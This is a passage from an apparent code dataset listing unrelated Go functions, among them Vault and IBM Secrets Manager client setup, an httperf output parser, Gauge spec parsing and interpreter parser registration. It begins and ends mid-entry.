{\n\t\ttlsConfig.CACert = viper.GetString(\"VAULT_CACERT\")\n\t}\n\n\tif viper.IsSet(\"VAULT_SKIP_VERIFY\") {\n\t\ttlsConfig.Insecure = viper.GetBool(\"VAULT_SKIP_VERIFY\")\n\t}\n\n\tif err := apiConfig.ConfigureTLS(tlsConfig); err != nil {\n\t\treturn nil, err\n\t}\n\n\tapiClient, err := api.NewClient(apiConfig)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif viper.IsSet(\"VAULT_NAMESPACE\") {\n\t\tapiClient.SetNamespace(viper.GetString(\"VAULT_NAMESPACE\"))\n\t}\n\n\tif viper.IsSet(\"PATH_PREFIX\") {\n\t\tprint(\"PATH_PREFIX will be deprecated in v1.0.0, please migrate to using the avp_path annotation.\")\n\t}\n\n\tconfig.VaultClient = apiClient\n\n\tauthType := viper.GetString(\"AUTH_TYPE\")\n\n\tvar auth types.AuthType\n\tswitch viper.GetString(\"TYPE\") {\n\tcase \"vault\":\n\t\tswitch authType {\n\t\tcase \"approle\":\n\t\t\tif viper.IsSet(\"ROLE_ID\") && viper.IsSet(\"SECRET_ID\") {\n\t\t\t\tauth = vault.NewAppRoleAuth(viper.GetString(\"ROLE_ID\"), viper.GetString(\"SECRET_ID\"))\n\t\t\t} else {\n\t\t\t\treturn nil, errors.New(\"ROLE_ID and SECRET_ID for approle authentication cannot be empty\")\n\t\t\t}\n\t\tcase \"github\":\n\t\t\tif viper.IsSet(\"GITHUB_TOKEN\") {\n\t\t\t\tauth = vault.NewGithubAuth(viper.GetString(\"GITHUB_TOKEN\"))\n\t\t\t} else {\n\t\t\t\treturn nil, errors.New(\"GITHUB_TOKEN for github authentication cannot be empty\")\n\t\t\t}\n\t\tcase \"k8s\":\n\t\t\tif viper.IsSet(\"K8S_ROLE\") {\n\t\t\t\tauth = vault.NewK8sAuth(\n\t\t\t\t\tviper.GetString(\"K8S_ROLE\"),\n\t\t\t\t\tviper.GetString(\"K8S_MOUNT_PATH\"),\n\t\t\t\t\tviper.GetString(\"K8S_TOKEN_PATH\"),\n\t\t\t\t)\n\t\t\t} else {\n\t\t\t\treturn nil, errors.New(\"K8S_ROLE cannot be empty when using Kubernetes Auth\")\n\t\t\t}\n\t\tdefault:\n\t\t\treturn nil, errors.New(\"Must provide a supported Authentication Type\")\n\t\t}\n\t\tconfig.Backend = backends.NewVaultBackend(auth, apiClient, viper.GetString(\"KV_VERSION\"))\n\tcase \"secretmanager\":\n\t\tswitch authType {\n\t\tcase \"iam\":\n\t\t\tif viper.IsSet(\"IBM_API_KEY\") {\n\t\t\t\tauth = ibmsecretmanager.NewIAMAuth(viper.GetString(\"IBM_API_KEY\"))\n\t\t\t} else {\n\t\t\t\treturn nil, errors.New(\"IBM_API_KEY for iam authentication cannot be empty\")\n\t\t\t}\n\t\tdefault:\n\t\t\treturn nil, errors.New(\"Must provide a supported Authentication Type\")\n\t\t}\n\t\tconfig.Backend = backends.NewIBMSecretManagerBackend(auth, apiClient)\n\tdefault:\n\t\treturn nil, errors.New(\"Must provide a supported Vault Type\")\n\t}\n\n\treturn config, nil\n}", "func (v *uploadOptions) LoadFromText(data string) {\n\tvar (\n\t\tsection string\n\t\ttext string\n\t)\n\n\tsetUploadOption := func(section, text string) {\n\t\ttext = strings.TrimSpace(text)\n\t\tif text == \"\" {\n\t\t\treturn\n\t\t}\n\t\tswitch section {\n\t\tcase \"title\":\n\t\t\ttext = strings.Split(text, \"\\n\")[0]\n\t\t\tv.Title = text\n\t\tcase \"description\":\n\t\t\tv.Description = text\n\t\tcase \"issue\":\n\t\t\tv.Issue = strings.Join(strings.Split(text, \"\\n\"), \",\")\n\t\tcase \"reviewer\":\n\t\t\tv.Reviewers = strings.Split(text, \"\\n\")\n\t\tcase \"cc\":\n\t\t\tv.Cc = strings.Split(text, \"\\n\")\n\t\tcase \"draft\", \"private\":\n\t\t\tswitch text {\n\t\t\tcase \"y\", \"yes\", \"on\", \"t\", \"true\", \"1\":\n\t\t\t\tif section == \"draft\" {\n\t\t\t\t\tv.Draft = true\n\t\t\t\t} else if section == \"private\" {\n\t\t\t\t\tv.Private = true\n\t\t\t\t}\n\t\t\tcase \"n\", \"no\", \"off\", \"f\", \"false\", \"0\":\n\t\t\t\tif section == \"draft\" {\n\t\t\t\t\tv.Draft = false\n\t\t\t\t} else if section == \"private\" {\n\t\t\t\t\tv.Private = false\n\t\t\t\t}\n\t\t\tdefault:\n\t\t\t\tlog.Warnf(\"cannot turn '%s' to boolean\", text)\n\t\t\t}\n\t\tdefault:\n\t\t\tlog.Warnf(\"unknown section name: %s\", section)\n\t\t}\n\t}\n\n\tfor _, line := range strings.Split(data, \"\\n\") {\n\t\tline = strings.TrimRight(line, \" \\t\")\n\t\tif m := reEditSection.FindStringSubmatch(line); m != nil {\n\t\t\tname := strings.ToLower(m[1])\n\t\t\tswitch name {\n\t\t\tcase\n\t\t\t\t\"title\",\n\t\t\t\t\"description\",\n\t\t\t\t\"issue\",\n\t\t\t\t\"reviewer\",\n\t\t\t\t\"cc\",\n\t\t\t\t\"draft\",\n\t\t\t\t\"private\":\n\n\t\t\t\tif section != \"\" {\n\t\t\t\t\tsetUploadOption(section, text)\n\t\t\t\t}\n\t\t\t\tsection = name\n\t\t\t\ttext = \"\"\n\t\t\t\tcontinue\n\t\t\tdefault:\n\t\t\t\tlog.Warnf(\"unknown section '%s' in script\", name)\n\t\t\t}\n\t\t}\n\n\t\tif strings.HasPrefix(line, \"#\") {\n\t\t\tcontinue\n\t\t}\n\n\t\tif section != \"\" {\n\t\t\ttext += line + \"\\n\"\n\t\t}\n\t}\n\n\tif section != \"\" {\n\t\tsetUploadOption(section, text)\n\t}\n}", "func RawParser(raw string) Results {\n results := Results{}\n results.Command = toS(find(raw, \"^(httperf .*)\"))\n results.MaxConnectBurstLength = toI(find(raw, \"Maximum connect burst length: ([0-9]*?\\\\.?[0-9]+)$\"))\n results.TotalConnections = toI(find(raw, \"^Total: connections ([0-9]*?\\\\.?[0-9]+) \"))\n results.TotalRequests = toI(find(raw, \"^Total: connections .+ requests ([0-9]*?\\\\.?[0-9]+) \"))\n results.TotalReplies = toI(find(raw, \"^Total: connections .+ replies ([0-9]*?\\\\.?[0-9]+) \"))\n results.TotalTestDuration = toF(find(raw, \"^Total: connections .+ test-duration ([0-9]*?\\\\.?[0-9]+) \"))\n results.ConnectionRatePerSec = toF(find(raw, \"^Connection rate: ([0-9]*?\\\\.?[0-9]+) \"))\n results.ConnectionRateMsConn = toF(find(raw, \"^Connection rate: .+ \\\\(([0-9]*?\\\\.?[0-9]+) ms\"))\n results.ConnectionTimeMin = toF(find(raw, \"^Connection time \\\\[ms\\\\]: min ([0-9]*?\\\\.?[0-9]+) \"))\n results.ConnectionTimeAvg = toF(find(raw, \"^Connection time \\\\[ms\\\\]: min .+ avg ([0-9]*?\\\\.?[0-9]+) \"))\n results.ConnectionTimeMax = toF(find(raw, \"^Connection time \\\\[ms\\\\]: min .+ max ([0-9]*?\\\\.?[0-9]+) \"))\n results.ConnectionTimeMedian = toF(find(raw, \"^Connection time \\\\[ms\\\\]: min .+ median ([0-9]*?\\\\.?[0-9]+) \"))\n results.ConnectionTimeStddev = toF(find(raw, \"^Connection time \\\\[ms\\\\]: min .+ stddev ([0-9]*?\\\\.?[0-9]+)$\"))\n results.ConnectionTimeConnect = toF(find(raw, \"^Connection time \\\\[ms\\\\]: connect ([0-9]*?\\\\.?[0-9]+)$\"))\n results.ConnectionLength = toF(find(raw, \"^Connection length \\\\[replies\\\\/conn\\\\]: ([0-9]*?\\\\.?[0-9]+)$\"))\n results.RequestRatePerSec = toF(find(raw, \"^Request rate: ([0-9]*?\\\\.?[0-9]+) req\"))\n results.RequestRateMsRequest = toF(find(raw, \"^Request rate: .+ \\\\(([0-9]*?\\\\.?[0-9]+) ms\"))\n results.RequestSize = toF(find(raw, \"^Request size \\\\[B\\\\]: ([0-9]*?\\\\.?[0-9]+)$\"))\n results.ReplyRateMin = toF(find(raw, \"^Reply rate \\\\[replies\\\\/s\\\\]: min ([0-9]*?\\\\.?[0-9]+) \"))\n results.ReplyRateAvg = toF(find(raw, \"^Reply rate \\\\[replies\\\\/s\\\\]: min .+ avg ([0-9]*?\\\\.?[0-9]+) \"))\n results.ReplyRateMax = toF(find(raw, \"^Reply rate \\\\[replies\\\\/s\\\\]: min .+ max ([0-9]*?\\\\.?[0-9]+) \"))\n results.ReplyRateStddev = toF(find(raw, \"^Reply rate \\\\[replies\\\\/s\\\\]: min .+ stddev ([0-9]*?\\\\.?[0-9]+) \"))\n results.ReplyRateSamples = toI(find(raw, \"^Reply rate \\\\[replies\\\\/s\\\\]: min .+ \\\\(([0-9]*?\\\\.?[0-9]+) samples\"))\n results.ReplyTimeResponse = toF(find(raw, \"^Reply time \\\\[ms\\\\]: response ([0-9]*?\\\\.?[0-9]+) \"))\n results.ReplyTimeTransfer = toF(find(raw, \"^Reply time \\\\[ms\\\\]: response .+ transfer ([0-9]*?\\\\.?[0-9]+)$\"))\n results.ReplySizeHeader = toF(find(raw, \"^Reply size \\\\[B\\\\]: header ([0-9]*?\\\\.?[0-9]+) \"))\n results.ReplySizeContent = toF(find(raw, \"^Reply size \\\\[B\\\\]: header .+ content ([0-9]*?\\\\.?[0-9]+) \"))\n results.ReplySizeFooter = toF(find(raw, \"^Reply size \\\\[B\\\\]: header .+ footer ([0-9]*?\\\\.?[0-9]+) \"))\n results.ReplySizeTotal = toF(find(raw, \"^Reply size \\\\[B\\\\]: header .+ \\\\(total ([0-9]*?\\\\.?[0-9]+)\\\\)\"))\n results.ReplyStatus1xx = toI(find(raw, \"^Reply status: 1xx=([0-9]*?\\\\.?[0-9]+) \"))\n results.ReplyStatus2xx = toI(find(raw, \"^Reply status: .+ 2xx=([0-9]*?\\\\.?[0-9]+) \"))\n results.ReplyStatus3xx = toI(find(raw, \"^Reply status: .+ 3xx=([0-9]*?\\\\.?[0-9]+) \"))\n results.ReplyStatus4xx = toI(find(raw, \"^Reply status: .+ 4xx=([0-9]*?\\\\.?[0-9]+) \"))\n results.ReplyStatus5xx = toI(find(raw, \"^Reply status: .+ 5xx=([0-9]*?\\\\.?[0-9]+)\"))\n results.CPUTimeUserSec = toF(find(raw, \"^CPU time \\\\[s\\\\]: user ([0-9]*?\\\\.?[0-9]+) \"))\n results.CPUTimeUserPct = toF(find(raw, \"^CPU time \\\\[s\\\\]: .+ \\\\(user ([0-9]*?\\\\.?[0-9]+)\\\\% \"))\n results.CPUTimeSystemSec = toF(find(raw, \"^CPU time \\\\[s\\\\]: .+ system ([0-9]*?\\\\.?[0-9]+) \"))\n results.CPUTimeSystemPct = toF(find(raw, \"^CPU time \\\\[s\\\\]: user .+ system .+ system ([0-9]*?\\\\.?[0-9]+)\\\\% \"))\n results.CPUTimeTotalPct = toF(find(raw, \"^CPU time \\\\[s\\\\]: user .+ total ([0-9]*?\\\\.?[0-9]+)\\\\%\"))\n results.NetIoKbSec = toF(find(raw, \"^Net I\\\\/O: ([0-9]*?\\\\.?[0-9]+) KB\"))\n results.NetIoBps = toS(find(raw, \"^Net I\\\\/O: .+ \\\\((.+) bps\\\\)\"))\n results.ErrorsTotal = toI(find(raw, \"^Errors: total ([0-9]*?\\\\.?[0-9]+) \"))\n results.ErrorsClientTimeout = toI(find(raw, \"^Errors: total .+ client-timo ([0-9]*?\\\\.?[0-9]+) \"))\n results.ErrorsSocketTimeout = toI(find(raw, \"^Errors: total .+ socket-timo ([0-9]*?\\\\.?[0-9]+) \"))\n results.ErrorsConnRefused = toI(find(raw, \"^Errors: total .+ connrefused ([0-9]*?\\\\.?[0-9]+) \"))\n results.ErrorsConnReset = toI(find(raw, \"^Errors: total .+ connreset ([0-9]*?\\\\.?[0-9]+)\"))\n results.ErrorsFdUnavail = toI(find(raw, \"^Errors: fd-unavail ([0-9]*?\\\\.?[0-9]+) \"))\n results.ErrorsAddrUnavail = toI(find(raw, \"^Errors: fd-unavail .+ addrunavail ([0-9]*?\\\\.?[0-9]+) \"))\n results.ErrorsFtabFull = toI(find(raw, \"^Errors: fd-unavail .+ ftab-full ([0-9]*?\\\\.?[0-9]+) \"))\n results.ErrorsOther = toI(find(raw, \"^Errors: fd-unavail .+ other ([0-9]*?\\\\.?[0-9]+)\"))\n results.ConnectionTimes = findConnectionTimes(raw)\n results.calculatePercentiles()\n\n return results\n}", "func (parser *SpecParser) ParseSpecText(specText string, specFile string) (*gauge.Specification, *ParseResult) {\n\ttokens, errs := parser.GenerateTokens(specText, specFile)\n\tspec, res := parser.createSpecification(tokens, specFile)\n\tres.FileName = specFile\n\tif len(errs) > 0 {\n\t\tres.Ok = false\n\t}\n\tres.ParseErrors = append(errs, res.ParseErrors...)\n\treturn spec, res\n}", "func (parser *SpecParser) Parse(specText string, conceptDictionary *gauge.ConceptDictionary, specFile string) (*gauge.Specification, *ParseResult, error) {\n\ttokens, errs := parser.GenerateTokens(specText, specFile)\n\tspec, res, err := parser.CreateSpecification(tokens, conceptDictionary, specFile)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tres.FileName = specFile\n\tif len(errs) > 0 {\n\t\tres.Ok = false\n\t}\n\tres.ParseErrors = append(errs, res.ParseErrors...)\n\treturn spec, res, nil\n}", "func read(lex *lexer, v reflect.Value) {\n\tswitch lex.token {\n\tcase scanner.Ident:\n\t\t// The only valid identifiers are\n\t\t// \"nil\" and struct field names.\n\t\tif lex.text() == \"nil\" {\n\t\t\tv.Set(reflect.Zero(v.Type()))\n\t\t\tlex.next()\n\t\t\treturn\n\t\t}\n\tcase scanner.String:\n\t\ts, _ := strconv.Unquote(lex.text()) // NOTE: ignoring errors\n\t\tv.SetString(s)\n\t\tlex.next()\n\t\treturn\n\tcase scanner.Int:\n\t\ti, _ := strconv.Atoi(lex.text()) // NOTE: ignoring errors\n\t\tv.SetInt(int64(i))\n\t\tlex.next()\n\t\treturn\n\tcase '(':\n\t\tlex.next()\n\t\treadList(lex, v)\n\t\tlex.next() // consume ')'\n\t\treturn\n\t}\n\tpanic(fmt.Sprintf(\"unexpected token %q\", lex.text()))\n}", "func (t *Tree) Parse(text string) (tree *Tree, err error) {\n\tdefer t.recover(&err)\n\tt.startParse(lex(t.Name, text))\n\tt.text = text\n\tt.parse()\n\tt.stopParse()\n\treturn t, nil\n}", "func (m *Money) UnmarshalText(text []byte) (err error) {\n\t*m, err = Parse(string(text))\n\treturn\n}", "func (h *HTTPerf) Parse() {\n h.Results = RawParser(h.Raw)\n}", "func (t *UniversalMytoken) UnmarshalText(data []byte) (err error) {\n\ts := string(data)\n\t*t, err = Parse(log.StandardLogger(), s)\n\treturn errors.WithStack(err)\n}", "func NewVault(cfg HasVaultConfig) (*VaultClient, error) {\n\tvar err error\n\n\t// First check if Vault is enabled in config, returning if not\n\tif !cfg.GetEnabled() {\n\t\tlog.Trace(\"vault is not enabled\")\n\t\treturn &VaultClient{\n\t\t\tcfg: cfg,\n\t\t}, nil\n\t}\n\n\t// Setup the Vault native config\n\tvc := &vault.Config{\n\t\tAddress: cfg.GetAddress(),\n\t}\n\n\t// If TLS is enabled, then setup the TLS configuration\n\tif cfg.GetTLS().GetEnabled() {\n\t\tvc.HttpClient = &http.Client{}\n\n\t\tt := http.DefaultTransport.(*http.Transport).Clone()\n\n\t\tt.TLSClientConfig, err = NewClientTLSConfig(cfg.GetTLS(), &VaultConfig{Enabled: false})\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tvc.HttpClient.Transport = t\n\t}\n\n\t// Create the vault native client\n\tclient, err := vault.NewClient(vc)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Set the token on the client\n\tclient.SetToken(cfg.GetToken())\n\n\treturn &VaultClient{\n\t\tcfg: cfg,\n\t\tclient: client,\n\t}, nil\n}", "func Parse(input []byte) ([]byte, error) {\n\ttpl, err := pongo2.FromString(string(input))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcontext := environToContext()\n\treturn tpl.ExecuteBytes(context)\n}", "func NewVault(address common.Address, backend bind.ContractBackend) (*Vault, error) {\n\tcontract, err := bindVault(address, backend, backend, backend)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &Vault{VaultCaller: VaultCaller{contract: contract}, VaultTransactor: VaultTransactor{contract: contract}, VaultFilterer: VaultFilterer{contract: contract}}, nil\n}", "func parseText(strBytes []byte) (string, error) {\n\tif len(strBytes) == 0 {\n\t\treturn \"\", errors.New(\"empty id3 frame\")\n\t}\n\tif len(strBytes) < 2 {\n\t\t// Not an error according to the spec (because at least 1 byte big)\n\t\treturn \"\", nil\n\t}\n\tencoding, strBytes := strBytes[0], strBytes[1:]\n\n\tswitch encoding {\n\tcase 0: // ISO-8859-1 text.\n\t\treturn parseIso8859(strBytes), nil\n\n\tcase 1: // UTF-16 with BOM.\n\t\treturn parseUtf16WithBOM(strBytes)\n\n\tcase 2: // UTF-16BE without BOM.\n\t\treturn parseUtf16(strBytes, binary.BigEndian)\n\n\tcase 3: // UTF-8 text.\n\t\treturn parseUtf8(strBytes)\n\n\tdefault:\n\t\treturn \"\", id3v24Err(\"invalid encoding byte %x\", encoding)\n\t}\n}", "func (a *Parser) parse(s string) error {\n\treturn a.parseBytes([]byte(s))\n}", "func (s *ageStrategy) unmarshalText(text []byte) error {\n\tvar total time.Duration\n\tvar limit = string(text)\n\n\tif limit == \"\" {\n\t\treturn fmt.Errorf(\"limit cannot be an empty string\")\n\t}\n\n\tfor _, part := range strings.Fields(limit) {\n\t\tquantifier, err := strconv.Atoi(part[:len(part)-1])\n\t\tif err != nil || quantifier < 0 {\n\t\t\treturn fmt.Errorf(\"invalid limit quantifier %q passed (%s)\", quantifier, err)\n\t\t}\n\n\t\tduration, ok := durationUnits[part[len(part)-1:]]\n\t\tif !ok {\n\t\t\treturn fmt.Errorf(\"unknown limit unit %s passed to AgeStrategy\", part[:len(part)-1])\n\t\t}\n\n\t\ttotal = total + (time.Duration(quantifier) * duration)\n\t}\n\n\ts.limit = total\n\n\treturn nil\n}", "func New(beginToken, endToken, separator string, metaTemplates []string) (TemplateEngine, error) {\n\tif len(beginToken) == 0 || len(endToken) == 0 || len(separator) == 0 || len(metaTemplates) == 0 {\n\t\treturn DummyTemplate{}, fmt.Errorf(\"invalid input, beingToken %s, endToken %s, separator = %s , metaTempaltes %v\",\n\t\t\tbeginToken, endToken, separator, metaTemplates)\n\t}\n\tt := &TextTemplate{\n\t\tbeginToken: beginToken,\n\t\tendToken: endToken,\n\t\tseparator: separator,\n\t\tmetaTemplates: metaTemplates,\n\t\tdict: map[string]interface{}{},\n\t}\n\n\tif err := t.buildTemplateTree(); err != nil {\n\t\treturn DummyTemplate{}, err\n\t}\n\n\treturn t, nil\n}", "func (a *KeyAlgorithm) UnmarshalText(text []byte) error {\n\tname := string(text)\n\ttmp, err := ParseKeyAlgorithm(name)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*a = tmp\n\treturn nil\n}", "func New(config Config) (*client, error) {\n\tvar prefix string\n\tswitch config.Version {\n\tcase \"1\":\n\t\tprefix = PrefixVaultV1\n\tcase \"2\":\n\t\tprefix = PrefixVaultV2\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"unrecognized vault version of %s\", config.Version)\n\t}\n\n\t// append admin defined prefix if not empty\n\tif config.Prefix != \"\" {\n\t\tprefix = fmt.Sprintf(\"%s/%s\", prefix, config.Prefix)\n\t}\n\n\tconf := api.Config{Address: config.Address}\n\n\t// create Vault client\n\tc, err := api.NewClient(&conf)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif config.Token != \"\" {\n\t\tc.SetToken(config.Token)\n\t}\n\n\tclient := &client{\n\t\tVault: c,\n\t\tPrefix: prefix,\n\t\tAuthMethod: config.AuthMethod,\n\t\tRenewal: config.Renewal,\n\t\tAws: awsCfg{\n\t\t\tRole: config.AwsRole,\n\t\t},\n\t}\n\n\tif config.AuthMethod != \"\" {\n\t\terr = client.initialize()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// start the routine to refresh the token\n\t\tgo client.refreshToken()\n\t}\n\n\treturn client, nil\n}", "func (s *SimulatorState) UnmarshalText(b []byte) error {\n\tswitch string(b) {\n\tcase \"starting\":\n\t\t*s = Starting\n\t\treturn nil\n\tcase \"running\":\n\t\t*s = Running\n\t\treturn nil\n\tcase \"stopped\":\n\t\t*s = Stopped\n\t\treturn nil\n\tcase \"restarting\":\n\t\t*s = Restarting\n\t\treturn nil\n\tcase \"failed\":\n\t\t*s = Failed\n\t\treturn nil\n\tdefault:\n\t\treturn fmt.Errorf(\"cannot parse %s as vehicle status\", string(b))\n\t}\n}", "func (_Vault *VaultFilterer) ParseDeposit(log types.Log) (*VaultDeposit, error) {\n\tevent := new(VaultDeposit)\n\tif err := _Vault.contract.UnpackLog(event, \"Deposit\", log); err != nil {\n\t\treturn nil, err\n\t}\n\treturn event, nil\n}", "func parseConfig() (*AuthConfig, error) {\n\tcfg := &AuthConfig{}\n\tflag.IntVar(&cfg.ServicePort, \"port\", 8081, \"the port to run the openvpn authd service on\")\n\tflag.StringVar(&cfg.ServiceBind, \"interface\", \"127.0.0.1\", \"the interface to run the service on\")\n\tflag.StringVar(&cfg.AuthHeader, \"auth-header\", \"X-Auth-Email\", \"the header containing the subject name\")\n\tflag.StringVar(&cfg.OpenVPNServers, \"openvpn-servers\", \"\", \"a comma separate list of vpn servers, HOSTNAME:PORT\")\n\tflag.StringVar(&cfg.VaultURL, \"vault-addr\", getEnv(\"VAULT_ADDR\", \"http://127.0.0.1:8200\"), \"the full vault service url to issue certifications (VAULT_ADDR)\")\n\tflag.StringVar(&cfg.VaultUsername, \"vault-username\", getEnv(\"VAULT_USER\", \"openvpn\"), \"the vault username to authenticate to the service with (VAULT_USER)\")\n\tflag.StringVar(&cfg.VaultPassword, \"vault-password\", \"\", \"the vault password to authentication to the service (VAULT_PASSWORD)\")\n\tflag.StringVar(&cfg.VaultPath, \"vault-pki-path\", \"\", \"the mount path in vault to issue the certificate\")\n\tflag.BoolVar(&cfg.VaultTLSVerify, \"vault-tls-verify\", true, \"whether to verify the certificate of the vault service\")\n\tflag.DurationVar(&cfg.SessionDuration, \"session\", time.Duration(1*time.Hour), \"the duration of a certificate for openvpv account\")\n\tflag.StringVar(&cfg.VaultCaFile, \"vault-cafile\", getEnv(\"VAULT_CA_FILE\", \"\"), \"the path to a CA certificate used to verify vault service (VAULT_CA_FILE)\")\n\n\tflag.Parse()\n\n\tif cfg.OpenVPNServers == \"\" {\n\t\treturn nil, fmt.Errorf(\"you have not specified the openvpn servers\")\n\t}\n\n\tdefaultOpenVPNPort := \"1194\"\n\tfor _, server := range strings.Split(cfg.OpenVPNServers, \",\") {\n\t\tif !strings.Contains(server, \":\") {\n\t\t\tserver = server + \" \" + defaultOpenVPNPort\n\t\t} else {\n\t\t\tserver = strings.Replace(server, \":\", \" \", -1)\n\t\t}\n\t\tcfg.servers = append(cfg.servers, server)\n\t}\n\n\tif cfg.VaultURL == \"\" {\n\t\treturn nil, fmt.Errorf(\"you have not specified the vault service url\")\n\t}\n\n\tif _, err := url.Parse(cfg.VaultURL); err != nil {\n\t\treturn nil, fmt.Errorf(\"the vault service url: %s is invaliad, error: %s\", cfg.VaultURL, err)\n\t}\n\n\tif cfg.VaultUsername == \"\" {\n\t\treturn nil, fmt.Errorf(\"you have not specified the vault username\")\n\t}\n\n\tif cfg.VaultPassword == \"\" {\n\t\treturn nil, fmt.Errorf(\"you have not specified the vault password to authenticate with\")\n\t}\n\n\tif cfg.VaultPath == \"\" {\n\t\treturn nil, fmt.Errorf(\"you have not specified the vault path the pki backend\")\n\t}\n\n\treturn cfg, nil\n}", "func Analyze(s string) (*[]Ingredient, error) {\n\tbracketsBalanced, _ := brackets.Bracket(s)\n\tif !bracketsBalanced {\n\t\tlog.Println(\"ALERT! Brackets are not balanced!\")\n\t\treturn nil, &argError{\"SYNTAX_ERROR\", \"Brackets are not balanced\"}\n\t}\n\tletters := strings.Split(s, \"\")\n\tings := make([]Ingredient, 0)\n\terr := parse(letters, &ings)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// json, _ := json.Marshal(ings)\n\t// ioutil.WriteFile(\"./prod_contents.json\", json, 0644)\n\treturn &ings, nil\n}", "func (s *Safe) Vaults(hash crypto.Hash, tag *safe.Tag, prefix string) ([]*safe.Vault, error) {\n\tres := make([]*safe.Vault, 0)\n\terr := s.db.View(func(tx *bolt.Tx) (err error) {\n\t\tc := tx.Bucket([]byte(VaultTable)).Cursor()\n\t\tp := bytes.Join([][]byte{tag.Key(), []byte(prefix)}, []byte(\"\"))\n\t\tfor k, v := c.Seek(p); k != nil && bytes.HasPrefix(k, p); k, v = c.Next() {\n\t\t\td := safe.EmptyVault(hash)\n\t\t\tif err = json.Unmarshal(v, &d); err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tres = append(res, d)\n\t\t}\n\t\treturn\n\t})\n\treturn res, err\n}", "func New(l *lexer.Lexer) *Parser {\n\tp := &Parser{\n\t\tl: l,\n\t\terrors: []string{},\n\t\tacceptBlock: true,\n\t}\n\n\t// Read two tokens, so curToken and peekToken are both set.\n\tp.nextToken()\n\tp.nextToken()\n\n\tp.prefixParseFns = make(map[token.Type]prefixParseFn)\n\tp.registerPrefix(token.Ident, p.parseIdentifier)\n\tp.registerPrefix(token.Constant, p.parseConstant)\n\tp.registerPrefix(token.InstanceVariable, p.parseInstanceVariable)\n\tp.registerPrefix(token.Int, p.parseIntegerLiteral)\n\tp.registerPrefix(token.String, p.parseStringLiteral)\n\tp.registerPrefix(token.True, p.parseBooleanLiteral)\n\tp.registerPrefix(token.False, p.parseBooleanLiteral)\n\tp.registerPrefix(token.Null, p.parseNilExpression)\n\tp.registerPrefix(token.Minus, p.parsePrefixExpression)\n\tp.registerPrefix(token.Bang, p.parsePrefixExpression)\n\tp.registerPrefix(token.LParen, p.parseGroupedExpression)\n\tp.registerPrefix(token.If, p.parseIfExpression)\n\tp.registerPrefix(token.Self, p.parseSelfExpression)\n\tp.registerPrefix(token.LBracket, p.parseArrayExpression)\n\tp.registerPrefix(token.LBrace, p.parseHashExpression)\n\tp.registerPrefix(token.Semicolon, p.parseSemicolon)\n\tp.registerPrefix(token.Yield, p.parseYieldExpression)\n\n\tp.infixParseFns = make(map[token.Type]infixParseFn)\n\tp.registerInfix(token.Plus, p.parseInfixExpression)\n\tp.registerInfix(token.Minus, p.parseInfixExpression)\n\tp.registerInfix(token.Slash, p.parseInfixExpression)\n\tp.registerInfix(token.Eq, p.parseInfixExpression)\n\tp.registerInfix(token.Asterisk, p.parseInfixExpression)\n\tp.registerInfix(token.Pow, p.parseInfixExpression)\n\tp.registerInfix(token.NotEq, p.parseInfixExpression)\n\tp.registerInfix(token.LT, p.parseInfixExpression)\n\tp.registerInfix(token.LTE, p.parseInfixExpression)\n\tp.registerInfix(token.GT, p.parseInfixExpression)\n\tp.registerInfix(token.GTE, p.parseInfixExpression)\n\tp.registerInfix(token.COMP, p.parseInfixExpression)\n\tp.registerInfix(token.Dot, p.parseCallExpression)\n\tp.registerInfix(token.LParen, p.parseCallExpression)\n\tp.registerInfix(token.LBracket, p.parseArrayIndexExpression)\n\tp.registerInfix(token.Incr, p.parsePostfixExpression)\n\tp.registerInfix(token.Decr, p.parsePostfixExpression)\n\tp.registerInfix(token.And, p.parseInfixExpression)\n\tp.registerInfix(token.Or, p.parseInfixExpression)\n\tp.registerInfix(token.ResolutionOperator, p.parseInfixExpression)\n\n\treturn p\n}", "func main() {\n\tparse(read_file(\"test.txt\"))\n\n}", "func (_Vault *VaultFilterer) ParseWithdraw(log types.Log) (*VaultWithdraw, error) {\n\tevent := new(VaultWithdraw)\n\tif err := _Vault.contract.UnpackLog(event, \"Withdraw\", log); err != nil {\n\t\treturn nil, err\n\t}\n\treturn event, nil\n}", "func New(l *lexer.Lexer) *Parser {\n\n\t// Create the parser, and prime the pump\n\tp := &Parser{l: l, errors: []Error{}}\n\tp.nextToken()\n\tp.nextToken()\n\n\t// Register prefix-functions\n\tp.prefixParseFns = [tokentype.TokenType_Count]prefixParseFn{\n\t\ttokentype.BACKTICK: p.parseBacktickLiteral,\n\t\ttokentype.BANG: p.parsePrefixExpression,\n\t\ttokentype.DEFINE_FUNCTION: p.parseFunctionDefinition,\n\t\ttokentype.EOF: p.parsingBroken,\n\t\ttokentype.FALSE: p.parseBoolean,\n\t\ttokentype.FLOAT: p.parseFloatLiteral,\n\t\ttokentype.FOR: p.parseForLoopExpression,\n\t\ttokentype.FOREACH: p.parseForEach,\n\t\ttokentype.FUNCTION: p.parseFunctionLiteral,\n\t\ttokentype.IDENT: p.parseIdentifier,\n\t\ttokentype.IF: p.parseIfExpression,\n\t\ttokentype.ILLEGAL: p.parsingBroken,\n\t\ttokentype.INT: p.parseIntegerLiteral,\n\t\ttokentype.LBRACE: p.parseHashLiteral,\n\t\ttokentype.LBRACKET: p.parseArrayLiteral,\n\t\ttokentype.LPAREN: p.parseGroupedExpression,\n\t\ttokentype.MINUS: p.parsePrefixExpression,\n\t\ttokentype.REGEXP: p.parseRegexpLiteral,\n\t\ttokentype.STRING: p.parseStringLiteral,\n\t\ttokentype.SWITCH: p.parseSwitchStatement,\n\t\ttokentype.TRUE: p.parseBoolean,\n\t}\n\n\t// Register infix functions\n\tp.infixParseFns = [tokentype.TokenType_Count]infixParseFn{\n\t\ttokentype.AND: p.parseInfixExpression,\n\t\ttokentype.ASSIGN: p.parseAssignExpression,\n\t\ttokentype.ASTERISK: p.parseInfixExpression,\n\t\ttokentype.ASTERISK_EQUALS: 